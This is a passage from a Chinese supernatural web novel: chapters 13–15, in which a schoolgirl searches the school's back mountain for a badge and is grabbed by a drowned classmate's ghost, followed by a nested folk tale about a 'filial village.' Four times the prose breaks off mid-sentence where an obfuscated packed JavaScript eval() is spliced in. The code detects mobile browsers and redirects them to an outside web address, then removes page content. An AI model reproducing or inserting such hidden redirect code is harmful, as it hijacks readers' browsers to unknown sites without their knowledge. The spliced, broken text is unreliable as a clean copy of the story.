两人之间甚至比陌生人还要多加上一层时间上的差异。2005年。她那时甚至还没出生,怎么想都不可能和对方产生什么联系。 她不觉得自己是爷爷说的那种天生有阴阳眼的人,毕竟长这么大她连个鬼影都没见过。也不像哥哥那样跟着老头子一起出门接活,做劳什子修道之人,更不可能作死的主动打破什么屏障。 所以... 她和那个叫姜慧的女孩儿之间的域究竟是怎么被打破的? 姜慧又为什么会找上自己? 事情变得愈发复杂,这不禁让安然产生了一种有什么即将脱轨的焦躁感。 她拿出手机,翻出安老头的电话,但指尖停悬在通话键良久却迟迟没有点下去。 忽地,安然泄气般地闭上了眼。 算了。 还是再撑一段时间吧。 ————————— 一天的课程在尖锐的铃声中迎来结束。 等安然回家,天边的亮光已经被夜晚蚕食殆尽,只余街边几盏昏黄路灯还强撑着落下点点光芒。 晚饭简单做了碗面条,洗了碗又从冰箱里拿了个西红柿,这才拎着书包准备上楼,路过老头子房间时,似是想到了什么,进屋打开抽屉,拿出了里面的蜡烛。 吱嘎吱嘎的声音在安静的房间显得异常刺耳,但在安然听来却有种说不出的亲近,想来是这楼梯也和自己一样对这接连几天的阴雨绵绵生出了点无可奈何的不满。 ‘啪——’ 灯光亮起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那么,高二高三的教学楼以及高年级所使用的实验室、科研楼以及各个社团所都不在考虑范围之内。 第三,她能接触的无非就是高一教学楼、体育馆、图书馆、电脑室以及音乐教室、操场、花园、食堂等其他公共场所,但考虑到那件东西是为她准备的,就必须防止东西被其他学生拿走。那么,一些人流量大且不受控的地方同样被排除。只是这样一来,基本上学校所有的地方差不多都要被排除掉了... 第四,既然是灵异社,那么这场考核多少也该和灵异扯上点关系。 安然皱眉。 难道...不在学校? 她能去的... 不容易被其它人发现并拿走... 且和灵异能扯上关系的地方... 安然眸光一动,眼睛微微眯了起来。 这样的地方...还真有一个。 13. 第13章 雨季的清晨有些冷。 学校后街两边各种早餐小吃正散发着诱人的香气。 安然一路往前,走到快要街尾时,身后突然有人叫住她:“小姑娘,不要再往前了哦!” 她回过头,只见卖饭团的大妈正朝她摆手:“后面没吃的了,别走了,那里不吉利的...警察把路都封掉了,往前看看有什么想吃的,吃点就去学校吧...” 安然眼中的犹豫一闪而过,笑着走回大妈的饭团摊子前:“那我要个饭团。” 卖饭团的大妈喜笑颜开:“要什么口味的?” 安然指着菜单上的‘招牌饭团’:“就这个吧。” “好咧。” “阿姨,那条去山上的路为什么会封掉啊?” 卖饭团的阿姨动作一顿,看向安然身上的校服:“你们学校的老师没说么?我听你们一中好几个还说在说这事呢!那山上有个孩子淹死了,昨个警察过来把上山的路口给封了。听说之前你们一中的老师就和这里的人商量把那条路封掉,这的居民不肯。这下好了,人死了!哎,这路啊也总算能彻底封了...来,饭团好了。” 安然给了钱,接过饭团,这下她算是知道灵异社那边为什么会给自己3天的时间了。 昨晚猜测出东西很可能就在学校后山时,她就在想为什么会有这么多时间... 如果校外那条入口被彻底封住,那就意味着她想要去后山就必须从学校进去。但那里最近时常有老师巡逻,这就意味着她得找出老师巡逻的规律。 这一整天安然都有些心不在焉。 每节下课,安然都会跑到操场逛一会儿,几乎每次都能看到巡逻的老师在操场踱步,更要命的是学校似乎在加高周围的围墙。照眼下的进度,过两天想要再跳过围墙估计够呛。 难道...是她猜错了?东西不在后山? ———————— 好不容易等到最后一节音乐课,安然在上课前先是和班长打了招呼,又和老班请假去医务室。 校医对安然似乎印象很深,很自来熟地问安然这两天还有没有哪里感觉不舒服。 安然只能借口说想要了解一些生理知识,坦白自己家里只有两个异性亲人,偶尔会有些手忙脚乱。也不知道对方联想到了什么,一脸怜爱地看着她,看的安然起了一身的鸡皮疙瘩。 好不容易挨到上课铃声响过,眼看着校医就要拿出那本厚到可以砸死人的《生理,你不知道的二三事》,安然赶忙找借口快速逃离。 学校里很安静。 她并没有去音乐教室,而是在路过一个分叉路口时拐进了其中一条小路。 这里原本并不是一条路,而是一整片周围种满了矮树的草坪。 脚下的草被踩得很扁,细密的水珠趴伏嫩绿的叶片上,远远望过去像是一条被珍珠簇拥着的延伸到某个童话世界的绿色通道。 水汽混合着青草的气息萦绕在安然的鼻间。她不禁有些惬意地想:也许,这条小路被开辟出来并不全是为了抄近路,还因为这让人放松的环境吧! 感受着脚下和之前坚硬的水泥地完全不同的柔软触感,安然心里不由庆幸得亏这些人还算有点公德心,都只踩这条已经踩出来的路,否则这块让人心情愉悦的草坪可能就跟斑秃的狮子一样让人哭笑不得了。 穿过草坪,映入眼帘的便是学校操场一角的沙坑。可能是最近一直下雨的原因,金色的沙坑此刻湿漉漉的呈现出一种肮脏的深褐色。 眼前空荡而沉寂的操场让安然陷入了沉思。 好消息是没有老师巡逻,坏消息是这会儿走进操场就跟独自爬上砧板上的肉没什么区别。只要办公室有老师抬头往窗外看,哪怕只瞥一眼,也有百分之99的概率发现她的踪迹。 安然在心里吐槽学校龟毛设计的同时也不忘思考着怎么样才能神不知鬼不觉地穿过这个足有半个学校大的操场。 “喂!” 安然被吓了一跳,一回头便对上了一双似笑非笑的眼。她从没想过自己有一天会看一个男生看呆了。 墨色的头发,鼻子很挺,精致的五官介于高中生独有的成熟与青涩之间,被额前几缕碎发遮住了的眼睛因为上扬的唇角微微眯缝着,带着一丝懒洋洋的不屑。 “看够了?” 男生抬眸。 啧。很勾人的一双凤眼。 “嗯。看够了。”安然点头,转身时还不忘点评:“很赏心悦目。” 男生似乎是第一次听到这么另类的夸奖,愣了一下,蓦地又自顾自走到安然身边:“我还以为一中都是书呆子呢,没想到还有你这样的。” 这话听不出是夸赞还是贬低。但安然一贯的处事原则就是只要不是明嘲,暗讽在她这儿就权当作褒奖了。 她紧盯着操场,就像欣赏够娇花的渣男,仿佛回头再多看一眼都会觉得腻味:“谢谢。” 身后又没了动静。 安然也懒得搭理,只默默看着操场尽头的围墙,计算着以自己最快的奔跑速度大概多少分钟能结束。 3分钟... 这个时间有些尴尬啊...说长不长,但说短也不短。 安然回头看了眼身后的教学楼,要保证3分钟的时间都不被人看到不是没有可能,但风险同样很大。 等等。 这围墙似乎加高的不是一星半点。 先前探进围墙的那根巨大的树杈已经不见了,只有茂密的树冠仍旧清晰可见。 她仔细打量着边缘的围墙,用手指和眼睛估测多出来的部分。 三分之一... 围墙竟足足加高了三分之一,哪怕后山入口那块还没完工,以自己的弹跳力,就算跑到墙底,估计也得废一番功夫才能攀上去。 但如果... 安然想到了什么,转身对身后的娇花露出了一个和善的微笑... ——————— 秦以淮过去的岁月里从未像现在这般狼狈过。 洁白的衬衫上遍布污痕,隐约还能分辨出一两半脚印,额头上渗出的细汗都被染成了淡淡的灰色,偏偏始作俑者还在大言不惭地指挥:‘再高点,再高点...’ 他觉得自己一定得了失心疯才会答应帮这疯丫头翻墙。 “还差一点...就差一点儿了...” 秦以淮咬了咬牙,深吸一口气,肩头撑着墙面,从抓着对方的脚踝改成用手掌托住脚底往上推。他的双手微微颤抖,却仍不忘对方之前的吩咐,余光看向教职工大楼办公室的方向。 “呼...” 一声如释重负叹息后,他感觉自己掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850065|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一轻,所有的重力都消失了,下意识看向墙头,就见那个疯丫头眼睛弯成了月牙,正趴在墙头冲自己挥手:“谢啦!算我欠你个人情!” 他刚想说点什么,就见对方脸色一变:“有人问起,千万别说见过我...”随即一个翻身就不见了人影。 秦以淮吓了一跳,他是知道这围墙的高度的,更何况那疯丫头是趴着倒向外面的,万一磕到脑袋... “喂!喂!” 墙外没人回应,他甚至没有听到落地的声音。 “秦...秦同学!” 不远处传来一个男人的声音,还伴随着奔跑的声音。 秦以淮没有回头,眉间微蹙,低头拍着衣服上的沾染的灰尘,眼角余光仍瞥向围墙。当掸去衬衫上的脚印时,唇角勾出一道似有若无的弧度,眼底也染上了几分笑意。 只是这笑意来的快,去的更快,再转身只剩礼貌和疏离:“秦主任...” 而一向以严肃著称的秦主任此刻眼角挤出的笑纹几乎能堆成一束花,他是真的没想到京市本家的人会来怀阳这种小地方。一想到自己这根偏远分支能搭上本家,他脸上的笑意就又深了几分。 “怎么样?觉得学校的学习氛围...还...”他原本想说还满意么,但又觉得听上去太过谄媚,于是改成了:“还可以吧?” 秦以淮瞥了眼墙头:“嗯。可以。” 秦主任狠狠掐住自己的拇指,生怕自己当场笑出声来:“那就好,那就好...” 他原本还担心这位看不上怀阳县的环境... 没想到啊,没想到,真是瞌睡有人递枕头!要是能和本家搭上线,别说一个高中小小的校长,就是怀阳的教育局局长他秦承宇也有机会坐一坐! 自己最近还真是鸿运当头! 不过...他刚刚好像看到围墙上趴着一个人来着。 难不成有人逃课?! “秦同学,操场一直就你一个人么?” “嗯。怎么了?”秦以淮没什么表情的脸上露出了一丝疑惑,他看着秦主任像是不明白对方为什么这么问。 “啊...可能是最近学校的工作比较多,我眼花看错了...”秦主任掩饰般笑了笑,暗骂自己这时候还什么逃课不逃课,没什么比自己的前途重要。虽然这么想但还是不安地往围墙的方向瞥了一眼。 他安慰自己,应该是自己看错了,围墙这么高,那帮小孩儿怎么可能爬得上去? 除非... 秦主任余光看了眼秦以淮的方向。 不可能,怎么可能,这位少爷会让别人踩着爬墙?一定是自己疯了,才会有这么离谱的想法。 “...秦同学...那咱们什么时候办理一下入学手续?” 秦以淮答非所问:“最近出事的是哪个班来着?” 秦主任脸色一下子变得惨白,支吾着开口:“呃...高一...高一(2)班...” “2班啊...”秦以淮眼前突然闪过刚刚余光瞥见的那个女孩衣服上的校徽,好像是高一(3)班的。 “去3班吧。” 秦主任狠狠松了口气,生怕这少爷好奇心爆棚非要去2班凑热闹。 “那...我带你去办入学申请...” 秦以淮点头:“好。” 14. 第14章 山脚下。 天空灰暗而阴沉,轻薄的白雾笼罩在半山腰,薄雾如纱似幻,随风缠绕在了茂密的植被上。两旁的树木郁郁葱葱,空气弥漫着潮湿的带着土腥味道的水汽。 这里气温似乎要比学校低了一点。 额头上的汗早就干了,风一吹,脸颊的皮肤就紧绷绷的有些难受。风顺着安然敞开的衣领灌了进去,扯开黏在后背上的校服。她打了个喷嚏,搓了搓手背上的鸡皮疙瘩。 这是安然第一次来学校的后山,传说中的‘约会圣地’。 脚下的路泥泞湿滑。没有水泥浇灌的台阶,没有石头简单堆砌出的路,只有被雨水浸湿的松软土地。 说实话,她不太能理解热恋中情侣对于浪漫的定义,尤其是当她不知道第几次差点滑倒的时候。 安然支撑着身子站了起来,拍掉手指上的污泥,抿唇眼前这条几乎看着要被树木和其他植被覆盖的小路。 该不会走错了吧? 还是说这就是所谓的情趣? 但吐槽归吐槽,都走到这了,现在回去是不可能的了。只能祈祷回去的时候能找到一条好走的路,否则以她三步一滑的水平,回去估计只能用滚的了... ........ 安然擦掉脸上的汗,拍死了不知道第几个落在她手臂上蚊子后终于听到了不远处哗哗的水流声。她加快了步伐,穿过一片蒲公英丛,映入眼帘的是从石缝中倾斜而下的山泉。 雪白的水花在半空中炸开,晶莹剔透的水珠折射出迷人的光晕,美轮美奂。山泉下是一片小湖,说是湖,其实就是一小片水潭,水质清澈,泛着幽幽的淡绿色,隐约还有几条游动像是鱼儿的黑影。 不得不承认,除了路有些难走以外,这里的确还是有值得一看的东西。 安然靠近水潭,却被周围的护栏挡住了去路。 不锈钢的围栏看上去很新,应该是刚安上去不久。边上有扇门,两指粗的铁链挂在门上,被一个足有婴儿拳头大小的铜锁连在了一起,她用力拽了拽,锁头纹丝不动。 不过好在栅栏不高,只到安然的下巴,她双手握住围栏,借力一跳,胸前校徽碰到栅栏发出极轻地一声叮后轻松翻了过去。 细小的水珠迎面而来,伴着清新的山风,新鲜的空气让她整个人都放松了下来。 安然围着水潭转了一圈,这里看上去很空旷,除了边零星分布在水潭边的几块大石头以外什么都没有。 难道...是自己想多了? 东西真的不在这儿? 只是想归想,好不容易爬上来就这么放弃实在有些不甘心,她开始四处搜寻能和灵异扯上关系的东西。 可直到汗水渗透衣襟,也没发现半点能被称作可疑物品的东西。 安然靠坐在一块巨石上,目光落在倾泻而下山泉,眼神似潭水般幽深。 真的猜错了? 可如果不在这儿...那东西究竟会在哪儿呢? 学校还有其他什么能和灵异扯上关系且是自己能去,其它人又很少会驻足的地方? 安然如鸦羽般漆黑的眼睫低垂着。 看样子,自己得好好找一找有关学校相关的灵异传闻了。 她扭动了一下肩膀,不知道是刚刚爬墙的时候抻到了还是差点摔倒扶地的时候角度没对,这会儿一动竟有种肌肉被拉扯的酸痛感。 垂眸看了眼时间,差不多还有10分钟就要下课了,走快点说不定还能在下课前回去。她可不想爬树回去的时候成为焦点,更不想因为错过时间而在树上等放学的人潮散尽,何况住校生和高二高三的学生是有晚自习的,自己真要挂在树上,那等人走光可得等到猴年马月了。 拍了拍身上沾染的泥土,刚要转身就感觉眼睛被水面上飘荡的什么晃了一下。 安然靠近水潭,果然被山泉溅起水花漾开的涟漪上正飘浮着一样东西。那东西看上去不算很大,黑色的底,隐隐有着银色的花纹。 但距离不算近,她并不能看的十分清楚。 是自己要找的东西么? 怎么会在...水里? 只是这些疑问在安然看到那东西竟有越飘越远的趋势时就消散了,她心中只有一个念头,就是把那东西捞上来,至于是不是她要找的,总要看过才能判断。 这一趟自然能不白来最好。 只是找到的不是太短,就是太长。 好不容易在栏杆外找到一根折断的树枝,只是试了几次都差了那么点儿意思。 眼看着那东西就要被卷进水花消失不见,安然一咬牙将身上的外套脱下来绑在树枝的一头,用力一甩再往回一勾。好在那东西的材质很轻,才没有被她那一下直接打进水里。 安然不停重复着一甩一勾的动作,竟真的将那东西一点点拉回了岸边。这下她也终于看清了那东西的样子,是一个圆形的徽章。 黑色的底,银色的花纹。 那似乎是一个“兑”字。下面还有一道中间隔开的两端小横,小横下面是两道长横,正是‘兑’对应的八卦图案。 看样子这应该就是自己要找的东西了。 徽章终于飘到岸边,安然刚要伸手去捡,就看到淡绿色的水面下有什么正在游动。 鱼...么? 安然皱眉。 就这么一犹豫的功夫,之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850066|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还触手可及的徽章被漾开的波纹一推,竟飘得离岸边更远了一点。 安然不想刚刚的努力全都白费,伸手就要将徽章拿出来,但指尖刚碰到水面,就被水中伸出的一只惨白肿胀的手狠狠一拽,冰冷湿滑的触感像是某种粘腻的鱼类,扯着她就要往水里拉。 安然根本来不及反应,整个身体就要栽进水里,那一瞬间她甚至看到了溅起的水花折射着晶莹剔透的光,闻到了水潭散发的淡淡的水腥气,甚至感受到了水中冰冷的温度。 但预料中被潭水吞没的冰冷并没有如约而至。 无数炸开的水花像是一颗颗大小不一的白色水晶,她甚至能看见里面折射出的还保持着震惊表情的自己,她竟以一个即将要被扯进水里的姿势停悬在了水面上! 而潭水之下,是一张惨白的脸。 湿漉漉的头发水藻般披散着,苍白肿胀的皮肤上,被水泡的发白的五官肿胀变形,以及紧紧攥着安然的布满青紫血管的手... 安然呼吸一滞,乍然和这么个东西对上眼,要不是她胆子还算够大,估计会当场猝死。 等等... 这张脸...她好像见过... 这是... 安然的眼睛微微睁大,黑白分明的眸子里满是不可置信。 万胜柔?! 万胜柔竟然变成了... 水鬼。 她脑海跳出了这么两个字。 ‘水鬼’是她为数不多的有着比较深刻印象的鬼怪。 而她之所以会对水鬼印象深刻,是因为杏花街上一家卖花圈的店里有个叫囡囡的小姑娘曾溺死在街后的小河里。后来又接连淹死了好几个孩子,老头子那段时间三令五申不准她和哥哥靠近那片水域还讲了一个很可怕的有关水鬼的故事。 搞得安然那段时间看到水都害怕。 好在她那时候已经五年级了,要不然还真说不定会留下什么阴影。 她记得老头子说过,水鬼不同与其他鬼魂。水本就属阴,且溺毙的过程并非一蹴而就,溺水者会反复承受窒息和水流侵入五官及五脏六腑的痛苦。恐惧、痛苦再加上得天独厚的环境,导致水鬼和淹死它的水域之间产生了一种无法分割的联系,淹死它的水域,某种程度上就是水鬼的域。 这类鬼怪难以消散且怨气极大,唯一的解脱方法就是找人承受一遍自己曾经的痛苦并代替它留在这里。 所以只要有人靠近或是进入这片水域,就相当于是主动进入水鬼的域,一旦被水鬼拖下水就会成为它的替身。 安然看着水面之下惨白浮肿的既熟悉又有些陌生的脸孔,所以,她是被万胜柔当作替身了?! 15. 第15章 窥探到一点来龙去脉的安然还没来得及思考自己处境,就被另一个棘手的麻烦吸引了全部注意力。 她的身体在下坠。 即便下沉的速度肉眼不可见,但原本如镜般的水面荡起的波纹正疯狂警示着她,眼下的时间并不是暂停,只是流速变慢而已。这就意味着如果在这之前她想不出逃脱的办法,那么最终将难逃被万胜柔拽进水里的命运。 可安然想不到任何解决的办法,即便想到了也没用,因为她连动一下小手指的能力都没有。 在某一刻,她甚至觉得干脆直接被拉进水里比眼睁睁看着自己即将陷入深渊却完全没有办法要好得多。 身下荡开的涟漪越来越多,一圈圈波纹向周围荡漾开来,水面之下万胜柔的脸变得扭曲而模糊。 时间在安然眼里变得漫长而残忍。 “安然...” 一个悦耳的略带低沉的男声在她耳边响起。 安然以为自己出现了幻听,直到那人又叫了一遍。 “安然...” 谁? 哥...哥? “安然...” 那声音轻柔地像是情人的低喃。 安然感觉自己的眼皮在一声声呼唤里变得沉重了起来。 原本清晰的思维也变得混沌。 她能感知到这种诡异的改变是不对的,甚至是危险的,但她完全无法抗拒来自那道声音的诱惑。 “安然...” 这声音似乎有些...熟悉。 在哪儿听过来着? 有什么东西划过了她的脸颊,有些凉又有些痒。 “安然…” 那个声音又在叫她。 安然强打起精神:“嗯?” 她不知道那人能不能听见。 大概是能的吧… 那声音似乎因为她的回应而显得有些高兴:“还记得你爷爷跟你说过的那个盒子的故事么…” “盒子?” 她感觉自己的思绪慢了一拍。 “对。盒子。那个你小时候见过的盒子。” “小时候?”安然低声呢喃着开口。 “盒子…” ————————— 安然做了一个梦。 梦里,自己靠坐在老头子的怀里,手里拿着一个长方形的盒子。 老头子抚摸着安然的发丝,表情是她从未见过的凝重和复杂,他给安然讲了一个关于盒子的很长很长的故事。 故事发生在一个名叫孝子村的地方。 那是一个有些偏远的村子。 之所以叫孝子村,是因为据说村子里每一户人家的年轻一辈都对家里的长辈父母十分恭敬孝顺。 是远近闻名的孝子村,也是出了名的富贵村。 至于为什么满村皆富贵,据他们自己说是因为他们村世代供奉着自己的山神。山神被他们的孝心打动,赐予了他们村子许多药材、山珍、野味以及丰收。 但孝子村也有自己的规矩。他们的女儿只招婿,不外嫁,而且和其他村子的重男轻女不同,这个村的女娃子更珍贵。而且不论是女子选夫,还是男子娶妻,要求和规矩都非常的繁琐,据说每年的要求都会有一些不一样,但只要能达到要求,哪怕是乞丐也能成为乘龙快婿。 可纵使那些奇怪的要求再多,也没能打消外人想要进村的欲望。毕竟在那个连吃饭都是问题的年代,最不缺的估计就是人了。 更何况在外人看来,女儿本来就是要嫁人的,嫁个人品好又有钱的人家不好么?上门女婿又怎么了?少奋斗二十年不说,还能帮衬家里其他的兄弟姐妹。 就算有人背地里嚼舌根说他们卖儿子卖女儿,可那有怎么样呢?笑贫不笑娼,谁让人孝子村的格外豪气呢! 但凡是被选中嫁进或者是入赘到村子里的人,据说他们得到的彩礼或是嫁妆足以保证一家老小吃穿不愁。而且孝子村的人在婚后还会继续让新娶的媳妇或是新入赘的女婿帮衬他们家里,逢年过节礼品更是任谁见了都会眼馋的多看几眼。 更何况孝子村的男的俊,女的靓。 这要是选上了,就是一人得道,全家跟着享福的美事! 所以只要孝子村放出需要适婚的年轻男女消息,附近几个村子的人就都会争着抢着去报名。 而安老头故事里的主角是个叫梅子的姑娘。 梅子自幼没有丧父,和她娘还有她弟弟生活在一起。 梅子家里很穷。 虽然没到揭不开锅那地步,但家里毕竟缺了顶梁柱,生活自然算不上富裕。 梅子虽然勤快,懂事人又漂亮。但她娘的身体并不好,加上弟弟年纪小。所以即便是到了适婚的年纪也没有人敢娶。 村里的小伙子中意梅子的不少,私下里也都暗戳戳的讨论这事儿,得到的结果是:娶梅子不是敢不敢的事儿,而是根本就养不起。 那时候虽然没有什么“扶弟魔”,但村里人心里都门儿清:这梅子嫁人后,不可能不管她娘和她弟。 这就是天仙也不敢娶进门儿啊! 人家一娶娶一个,这梅子家一娶得娶一窝。 对于外面那些风言风语,梅子自己倒并不在意。准确的来说除了她娘和她弟,她啥都不在意。 日子就那样一天天的过去了。 但意外和明天,谁都料想不到哪个会来的更快。 梅子娘的病入冬后开始恶化了。 梅子借遍了她能借的所有人,最后也没能借来半毛钱。 借急不借穷。 他们觉得这钱借出去就是肉包子打狗有去无回。 谁都怕梅子还不起。 梅子更忙了。 每天不止种地收菜,还自己去山上砍竹子编筐子卖。 水灵灵的姑娘愣是被钱财压弯了背,愈发的憔悴。 最后邻居刘婶实在看不下去了,就把她妹告诉她的消息告诉了梅子:孝子村要开始选媳妇儿了。 梅子听完,半点犹豫都没有,直接把生辰八字递了上去。 回去之后就一边照顾家里,一边等孝子村的消息。 也许是她的孝心同样感染到了孝子村的人。 梅子被选上了。 ………… 媒人来提亲的那天,带来了孝子村给她的一大笔彩礼。这笔钱对于梅子没说,就是一笔巨款,不仅够给她娘治病,还掉这些年借来的饥.荒,剩下的就是抚养她的小弟长大也是绰绰有余了。 梅子家一时间人来人往了。恭喜的,看热闹的,嫉妒的,攀亲戚的比比皆是。 每个上门贺喜的人,梅子都笑着接待。因为她知道远亲不如近邻。自己嫁人后就意味着不能再像过去那样照顾家里。大方的分他们些好处,也是希望他们多少看在钱和孝子村的份儿上,对她娘和弟弟看护一二。 就这样,梅子嫁了人。 梅子刚嫁进孝子村的时候,看什么都觉得特别美好。丈夫体贴,公婆和睦。他们对她,对她的家人更是没得说。 但这时间一长,梅子就发现问题了。 这村子有一些不对劲的地方。 按理说,像孝子村这样富裕又善待老人的村子,老人应该多且长寿才对。 但实际上,并不是。 这个村里没有一个超过60岁的老人。最大的,听说也就只有58岁。 就梅子家那个偏僻的山村都有几个90多高龄的老人。 如果说没有老人这事,可能是由于某种什么特殊的家族遗传病。 那第二件事,她就有些看不懂了。 村里的人不能通婚。 一般农村都喜欢亲上加亲,但孝子村偏偏相反,村民之间禁止通婚。 不管男的,女的都得娶或是嫁给给其他村子的村民。 梅子好奇,也曾问过自家的丈夫,丈夫说是因为祖辈上有近亲结婚生下怪胎的事儿,这事导致了村里订下村民不得结亲的习俗。 这个梅子也能接受。 但第三件事,说起来就有点惊悚了。 梅子感觉自己被监视了。 监视她的不是别人,就是孝子村的村民。 梅子发现不管是回娘家,还是去市里赶集,都有似有若无的视线跟着她一块走。 一转头没有人,再一转头,一定会遇见村子里的某一个人。 梅子把这儿事告诉她的丈夫。 丈夫劝慰:“村子里的人都是亲戚,可能是看你一个人,想要照看着你一点。” 梅子虽然仍旧觉得有点别扭和怪异,但最后在丈夫甜言蜜语的攻势下还是接受了番说辞。 而且这个村子里的村民的确很心善且热情。 村里人做了有什么好吃的,都会走街串巷地给街坊邻居一些。 这日子一长,她也就渐渐习惯了村子里的怪异。 再说了,哪个村子会没点儿自己的规矩? 结果是好的就好。 她娘的病没被耽搁,她婆家甚至在城里给请了大夫,还每月定期给把脉调理。 他弟弟的个子长了不少,吃的好,身体结实了不少。 而她和丈夫则十分恩爱,从不为一些小事红脸。 直到梅子怀孕了。 丈夫自打直到梅子有了孩子,对她的照顾越发的用心,但不知道是不是梅子的错觉,她感觉丈夫似乎对照顾产妇这事格外熟练。 吃什么,用什么,什么时候该做什么样的检查,门儿清的不像个初为人父的毛头小子。她甚至怀疑丈夫在这执勤是不是有过妻子,甚至有过孩子。 也许是梅子的异常表现让丈夫察觉到了什么,在他一遍遍耐心的追问下,梅子将自己的顾虑说了出来。 哪知丈夫一听就乐了,他刮着梅子的鼻子笑着告诉梅子:小时候他看父亲就是这么照顾母亲的,在梅子嫁进来前,母亲就嘱咐过他女人生孩子有多辛苦,一定要心疼自己的媳妇。还说自己就是有梅子一个媳妇,过去是,现在是,以后更是。 梅子十月怀胎的过程很顺利。足月时,生了个7斤重的大胖小子。 丈夫一家看上去似乎很高兴,就连梅子自己也觉得自己的人生似乎已经圆满了,甚至觉得丈夫一家是上天给予的馈赠。 直到她发现了一个秘密。 整个月子里梅子只有喂奶的时候能看到孩子,丈夫一家给的解释是担心她因为照看孩子会留下月子病,所以尽管思念孩子,但还是听从了婆家的安排。 但到已经出月子将近一个月的时间,梅子还是只能在喂奶的时候看到孩子,而且不知道是不是她的错觉,她感觉丈夫对她似乎没有过去那般亲近了。 这也导致梅子愈发思念孩子。 她不止一次和丈夫提出想要将孩子带在身边,丈夫一开始要么敷衍要么转移话题,后来干脆说有婆家帮忙带孩子,是多少女人梦寐以求的事,偏偏她非要将孩子带身边。又说村里家家户户都是婆家一手带孩子,梅子这会儿要自己带,别人一定会觉得是他妈照顾不好孩子,这是要被村里说闲话的。 梅子被这么一说,心里虽然不是滋味,但也没再提这一茬。 只是孩子的变化,在亲妈眼里和别人看始终不同。 一次梅子给孩子喂奶的时候,发现孩子眉心多了一个针尖大小的点,她刚想告诉丈夫这事,但只是抬头的功夫,那个红点就消失不见了。 她一开始以为是自己看花了眼。 但后来她又看到了几次,而且那个红点似乎只有她能看的到。 梅子感觉自己要疯了。 儿子眉心的红点越来越大,甚至大到不能再用红点形容。她一边怀疑自己是眼花了,一边又忍不住怀疑丈夫一家是不是对孩子做了什么。她在纠结忍耐中不停地安慰自己,一遍遍重复一定是自己眼花了,否则那样大的血洞孩子压根不可能...活着。 可怀疑的种子一旦种下,终会长成参天大树。 梅子身体也在煎熬中出了问题。 终于在一个夜晚,梅子因为胃不舒服,将丈夫为她准备的牛奶全部吐进了恭桶。 这一夜,她没有再像过去睡的那样酣沉。 半夜她感觉丈夫从床上爬了起来,窸窸簌簌穿上衣服,又蹑手蹑脚走出了房间。 梅子没怎么犹豫,拿起床上的衣服,跟了上去。 但让梅子惊讶的是,这一路上,她竟看到了不少行走的人影。 梅子这一路走的心惊胆战,生怕被村民发现。 那些人一直往上走,梅子就跟在身后。渐渐地,她发现他们进的是丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850067|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫在新婚第一天就告诉她山神所在的那座山。 梅子信命,也信鬼神。 走到一半的时候,她甚至还担心自己这样偷偷摸摸地跟着会不会触怒山神,直到有几声若有若无的婴儿哭声飘进她的耳朵里。 母亲对孩子的爱终归是战胜了对于神鬼的敬畏和恐惧。 她走到了一座山洞的洞口。 山洞很黑,犹如巨兽张开的血盆大口,如果不是有隐隐的说话声和偶尔夹杂的几声婴孩啼哭,梅子甚至以为自己跟错了地方。 她咽了口唾沫,战战兢兢地走了进去。但奇怪的是山洞里空空如也,竟然什么都没有。她刚想要转身离开,就感觉后脑被什么狠狠重击了一下,彻底失去了知觉。 等到梅子醒来的时候,发现自己浑身赤裸地躺在地上,身上没有任何束缚,却不能动。周围是火光摇曳的蜡烛以及时明时暗随着光芒晃动的人影。 许多熟悉的面孔在行走中经过她的身边,李阿婆、王大爷、张婶、婆婆、公公、小姑子、还有她的丈夫...他们面无表情,看向梅子的眼神里没有了往日的慈爱、关怀以及怜惜,陌生的让梅子感到恐惧。 梅子想要说话,想问怎么了?为什么自己会被绑着,可是她的喉咙火辣辣的像是被炭火灼烧过似的半点声音都发不出来,她美丽的眼睛睁的大大的,噙满了泪水,眼泪顺着眼角大颗大颗地滑落。 但很快,她的情绪便被另一种更为强烈的恐惧取代。梅子听到了婴孩的啼哭,哭声那样的熟悉,那是... 她的孩子! 梅子精致的五官扭曲了起来,她不知道这些人把她的孩子带过来做什么,但她不蠢,哪怕从始至终没有一个人开口说话,她也能猜到自己恐怕凶多吉少。 她可以接受命运,但她的孩子不行! 梅子牙关紧咬,全身上下的肌肉都紧绷了起来,身体竟隐隐有了摆脱身下阵法控制的趋势。 